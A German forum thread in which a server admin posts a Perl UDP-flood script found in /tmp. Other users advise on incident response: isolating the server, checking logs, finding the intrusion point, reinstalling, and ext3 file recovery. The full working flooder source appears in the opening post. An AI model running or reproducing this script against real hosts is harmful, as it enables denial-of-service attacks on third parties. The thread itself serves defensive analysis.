Gefährliche Skripte - Funktionsweise?

D

Descartes

Jungspund
Hallo!

Ich habe folgendes Skript im Verzeichnis /tmp/ gefunden mit dem Erstellungsdatum 22. Nov 06 mit chown root:root. Rechte waren chmod 777

Code:
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1]; 
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &"); 
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
} 

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Dazu noch eine Datei mit einer Art Wörterbuch und eine IP Liste mit 518 Einträgen.

Ich habe nun schon herausgefunden, dass es sich um ein UDP Flooding Skript handelt, da ich aber kein Perl kann, kenne ich dessen Funktionsweise nicht.

Insbesondere würde mich interessieren, welche Wege es gibt, dieses Script auszuführen.
Lokal sicher über die Perl Binary in /usr/bin/perl. Von außerhalb könnte ich mir den Fehler in einem PHP Skript vorstellen, aber bei mir ist safe_mode an, ein shell_exec wird nicht ausgeführt und zudem wird von keinem Skript auf das /tmp Verzeichnis zurückgegriffen.

Ich habe irgendwo gelesen, dass udp.pl im Speicher ausgeführt wird und diese Dateien nur eine Art "Abfall" des Skriptes sind.

Mich wundert etwa, dass ich keine Logbucheinträge finde, die einen Aufruf von außerhalb des Servers nahelegen.

Grüße
Descartes
 
Zuletzt bearbeitet:
Leider kann ich auch kein Perl und kann dir deshalb nicht sagen welche Möglichkeiten es alle gibt das Script auszuführen. Aber hast du dir mal Gedanken gemacht wie das Script überhaupt nach /tmp gelangen konnte?

Nicht das dein Rechner noch Ausgangspunkt für einen Angriff auf 518 andere Rechner ist...
 
Hallo!

Nicht das dein Rechner noch Ausgangspunkt für einen Angriff auf 518 andere Rechner ist...

Das Skript wurde isoliert, die Rechte auf -r-------- gesetzt und die erste Zeile entfernt. Damit sollte es außer Gefecht sein. Wenn es allerdings das Endprodukt (Stichwort "Abfall") ist, hätte der Angriff schon stattgefunden, wovon ich jedoch nichts mitbekommen habe.

Ich bin gerade dabei die IP Adressen aufzulösen, um evt. Feedback zu einem Angriff zu bekommen, der von meinem Server ausgegangen sein könnte.

Grüße

Descartes
 
Wenn es allerdings das Endprodukt (Stichwort "Abfall") ist, hätte der Angriff schon stattgefunden, wovon ich jedoch nichts mitbekommen habe.
Hallo,

hast du Logs zum Netzwerk-Traffic über UDP zu dem Zeitpunkt, an dem die Datei erstellt wurde? syslog -> messages und wohin evtl deine Firewall loggt?
 
Wahrscheinlich hast Du ein Gästebuch und lässt es zu, dass "Gäste" Code eintragen können, welcher dann serverseitig ausgeführt wird. Überprüfe Dein Gästebuch sowie seine Einträge und guck, ob es Security-Updates dafür gibt. Bis dahin heisst es abschalten.

Gruss, Xanti
 
Ich würd erstmal vorschlagen:

httpd ausschalten, Netzwerkstecker raus (falls Nameserver => schlecht) oder Netzwerkconfig killen...

Dann deine HP ausmisten (alle Gästebücher isolieren => chmod 000) und ab dann mal 1-3 Wochen täglich deine Apache-Logs bzw. syslog's und Firewall-Logs prüfen.

Glaub mir, es ist die Arbeit wert.
Hier ist mal wegen sowas in der Art nen T-Online-Einschreiben reingeflattert.

Viel Glück,
patlkli!
 
Hallo!

Welche Datenmengen kann so ein Skript denn erzeugen, wenn es ausgeführt wird?

@ Jabo
Ist ein vServer und die Logs die mir zur Verfügung stehen sind in dieser Hinsicht leer.

@Xanti
Nein, kein Gästebuch. Lediglich ein Redirect Skript und ein Webmailer. User werden vor der Anmeldung von Hand überprüft. User ohne Anmeldung haben keinerlei Möglichkeiten irgendwelchen Code über Formulare oder Uploads auszuführen.

@patliki
Ja, ich habe schon entsprechend reagiert.

Grüße

Martin
 
Logs sichern und die Kiste neu aufsetzen und derweil raus bekommen wo dein Loch war. Foren oder php fällt mir da gerade ein zu.
 
Logs sichern und die Kiste neu aufsetzen und derweil raus bekommen wo dein Loch war. Foren oder php fällt mir da gerade ein zu.
Oder der VServer. Je nach eingesetzter Software kann es durchaus zu Einbrüchen auf dem hostenden Server kommen. Dann sind alle Schutzmaßnahmen gegen das Netzwerk machtlos, weil der Angriff von innen kommt.

Gruß
XL
 
Hallo!

Logs sind gesichert. Kiste momentan down.

Was mir wirklich wichtig ist: Wenn dieses Skript gelaufen ist, welches Datum tragen diese Dateien?

1. Wenn es im Speicher gelaufen ist und die Datei nur ein "Abfallprodukt" war, müßte der Angriff an dem Tag stattgefunden haben, dessen Zeitstempel die Datei trägt.

a)Es wurde sofort ausgeführt --> 1. Angriff am selben Tag
b)Es wurde Tage später nocheinmal ausgeführt -->2. Angriff: Es gibt danach 2 Dateien mit Datum vom 1. und 2. Angriff oder die Datei trägt das Datum vom 2. Angriff, wurde also überschrieben.

2. Wenn es hochgeladen und ausgeführt wird, dann gibt es mehrere Möglichkeiten:

a) Es wurde hochgeladen und sofort ausgeführt --> Angriff hat am selben Tag stattgefunden
b) Es wurde hochgeladen und erst Tage später ausgeführt ?

Zudem:
Kann ich meinen Logfiles eigentlich trauen? Der Angreifer könnte diese doch bereinigt haben?

Das Ziel eines Flooding Skriptes ist das lahmlegen einer oder mehrerer Server. Macht es Sinn, dass der Angreifer das Skript zeitlich auf xx Stunden Ausführungszeit begrenzt? Für Ihn wäre es doch besser, dass Skript arbeitet solange als irgend möglich.

Grüße

Martin
 
Moin, moin.

Was mir wirklich wichtig ist: Wenn dieses Skript gelaufen ist, welches Datum tragen diese Dateien?

1. Wenn es im Speicher gelaufen ist und die Datei nur ein "Abfallprodukt" war, müßte der Angriff an dem Tag stattgefunden haben, dessen Zeitstempel die Datei trägt.
Richtig.

a)Es wurde sofort ausgeführt --> 1. Angriff am selben Tag
b)Es wurde Tage später nocheinmal ausgeführt -->2. Angriff: Es gibt danach 2 Dateien mit Datum vom 1. und 2. Angriff oder die Datei trägt das Datum vom 2. Angriff, wurde also überschrieben.
2. Wenn es hochgeladen und ausgeführt wird, dann gibt es mehrere Möglichkeiten:
a) Es wurde hochgeladen und sofort ausgeführt --> Angriff hat am selben Tag stattgefunden
b) Es wurde hochgeladen und erst Tage später ausgeführt ?
b) ist eher unwahrscheinlich. Ausser es ist noch mehr passiert, als nur dieses Script.

Zudem:
Kann ich meinen Logfiles eigentlich trauen? Der Angreifer könnte diese doch bereinigt haben?
Gute Angreifer bereinigen aber auch Dein /tmp und lassen kaum Spuren zurück.
Ich gehe eher von einem Bot oder Script-kiddie aus, der eine Sicherheitslücke ausgenutzt hat. Warum ein UDP-Flooder installieren, wenn man auch ne Root-Shell haben könnte :D

Das Ziel eines Flooding Skriptes ist das lahmlegen einer oder mehrerer Server. Macht es Sinn, dass der Angreifer das Skript zeitlich auf xx Stunden Ausführungszeit begrenzt? Für Ihn wäre es doch besser, dass Skript arbeitet solange als irgend möglich.
Nein, daß macht kaum Sinn. Nehmen wir mal das Szenario, daß ein System lahm gelegt werden soll. Je länger der Angriff dauert, umso besser können Gegenmassnahmen getroffen werden. Wenn aber der Angriff zeitlich begrenzt ist, von verschiedensten IPs kommt und noch verschiedene Attacken beinhalten sind Gegenmassnahmen viel schwerer möglich.

Gruß
Blur
 
Hallo!

Vielen Dank blur! Das bestätigt meine Vermutungen.

Dann habe ich zu dieser Sache nur noch drei Fragen, um völlige Klarheit zu bekommen:

1. Ein udp-Flooding erzeugt Outgoing-Traffic, keinen Incoming-Traffic. Ergo müßte der Traffic auf dem Server für OUT deutlich höher sein als für IN? (Es sei den die angegriffenen Server haben "zurückgeschossen" :D )

2. Wenn ein Debian System ext3 und damit Journaling hat, heißt das nicht, dass eine Wiederherstellung einzelner Dateien möglich wäre, die seit etwa 14 Tagen gelöscht waren.
Journaling unterstützt nur das beenden von Schreibvorgängen oder wiederherstellen von beschädigten Dateien nach einem Absturz o.ä.. Das Wiederherstellen von gelöschten Dateien (kein Papierkorb) ist unter ext3 sehr aufwendig und oftmals werden nur Fragmente von Dateien auf der Platte wiedergefunden.

3. Kann man feststellen, wann eine Datei angelegt wurde, ohne den Zeitstempel der Datei zu verwenden? Vielleicht über einen "Vorher-Nachher" Vergleich einer eindeutigen "ID" von einer Datei, bei der man sicher weiß dass der Zeitstempel stimmt, mit der fragwürdigen Datei?

Wundert Euch bitte nicht über die vielleicht etwas komisch anmutenden Fragen. Die haben wirklich ihren Sinn!

Danke für Eure Antworten!

Grüße

Martin
 
Zu ext3:

Wiederherstellen von Dateien unter ext3 ist vergleichweise schwer, weil ext3 die Inodes direkt nach dem Löschen mit Nullen überschreibt. Wenn du das System nicht mehr genutzt hast, könntest du noch Hoffnung haben, aber einfach wird es nicht. Ist das System aber noch einige Stunden in Betrieb gewesen, würde ich die Wahrscheinlichkeit schon fast auf Null setzen, wenn du kein Daten-Recovery-Spezialist bist.

Mit "vergleichweise schwer" habe ich mich womöglich sogar noch optimistisch ausgedrückt ...

MfG PBeck
 
Hallo PBeck!

Das System wurde wie gesagt bestimmt noch zwei Wochen benutzt.
Eine Wiederherstellung kann ja dann ebenso wie das Journaling ausgeschlossen werden.

Vielen Dank!

Grüße

Martin
 
Hallo Descartes,

ich habe wohl eine Frage in deine Antwort interpretiert, da war ich wohl wieder zu schnell beim lesen ;) Ist schlimm, wenn man sich mit zu vielen Dingen gleichzeitig beschäftigt :)
 
Hallo PBeck!

Kein Problem, Deine Antwort hat mich weitergebracht.

Manchmal muss nicht nur das OS Multi-Tasking-fähig sein :D

Grüße

Martin
 
1. Ein udp-Flooding erzeugt Outgoing-Traffic, keinen Incoming-Traffic. Ergo müßte der Traffic auf dem Server für OUT deutlich höher sein als für IN? (Es sei den die angegriffenen Server haben "zurückgeschossen" :D )

Und wohin soll der zurückschiessen wenn der Angriff von was weiß ich wievielen IPs kommt? Und auch falls das der Fall sein sollte, müsste an dem Tag der IN- und OUT-Traffic deutlich höher als sonst sein... irgendwie logisch

Grüße,
patlkli!
 
Moin, moin,

Vielen Dank blur! Das bestätigt meine Vermutungen.
Danke, kenne mich da ein wenig aus :D

1. Ein udp-Flooding erzeugt Outgoing-Traffic, keinen Incoming-Traffic. Ergo müßte der Traffic auf dem Server für OUT deutlich höher sein als für IN? (Es sei den die angegriffenen Server haben "zurückgeschossen" :D )
Naja, was verstehst Du unter viel? 100.000 Pakete mit ca. 48 Byte sind nicht viel, aber wenn die Gegenseite von mehreren Angreifern beharkt wird, kann die Leitung lahmgelegt werden. Es kommt auf die Menge und die Größe an. Da UDP als verbindungsloses Protokoll gilt, muss die Gegenseite keine Bestätigung schicken, ausser es läuft ein Protokoll, welches das auf höherer Ebene durchführt.

2. Wenn ein Debian System ext3 und damit Journaling hat, heißt das nicht, dass eine Wiederherstellung einzelner Dateien möglich wäre, die seit etwa 14 Tagen gelöscht waren.
Journaling unterstützt nur das beenden von Schreibvorgängen oder wiederherstellen von beschädigten Dateien nach einem Absturz o.ä.. Das Wiederherstellen von gelöschten Dateien (kein Papierkorb) ist unter ext3 sehr aufwendig und oftmals werden nur Fragmente von Dateien auf der Platte wiedergefunden.
Ja. Richtig wieder gegeben. Gelöschte Dateien wieder herzustellen ist schwierig, aber schon doch mal in die Ordner "lost and found". Vielleicht hast Du Glück :D
3. Kann man feststellen, wann eine Datei angelegt wurde, ohne den Zeitstempel der Datei zu verwenden? Vielleicht über einen "Vorher-Nachher" Vergleich einer eindeutigen "ID" von einer Datei, bei der man sicher weiß dass der Zeitstempel stimmt, mit der fragwürdigen Datei?
Boote von CD, dann kannst Du Dir die Platte anschauen ohne etwas zu verändern. Für Vorher-Nachher brauchst Du ein Backup. Aber egal was Du machst, Du wirst nur mit einer Neu-Installation sicher sein.
Wundert Euch bitte nicht über die vielleicht etwas komisch anmutenden Fragen. Die haben wirklich ihren Sinn!

Warum wundern.... frag ruhig.


Gruß
Blur
 
Ja. Richtig wieder gegeben. Gelöschte Dateien wieder herzustellen ist schwierig, aber schon doch mal in die Ordner "lost and found". Vielleicht hast Du Glück :D

Im lost+found wird er nichts finden. Da werden nur Daten abgelegt, die bei einem Dateisystem-Check (z.B. nach einem Crash) von fsck wieder hergestellt wurden, aber keine Dateien, die explizit gelöscht wurden.
 

Ähnliche Themen

Unix Webserver mit HTML Seite erstellen

Server und Client für TCP und UDP

Debian Routing Problem

Prozesskommunikation mit PIPES - wie funktioniert das?

Ausführbare C-Datei von Mac OS auf Embedded Linux ausführen

Zurück
Oben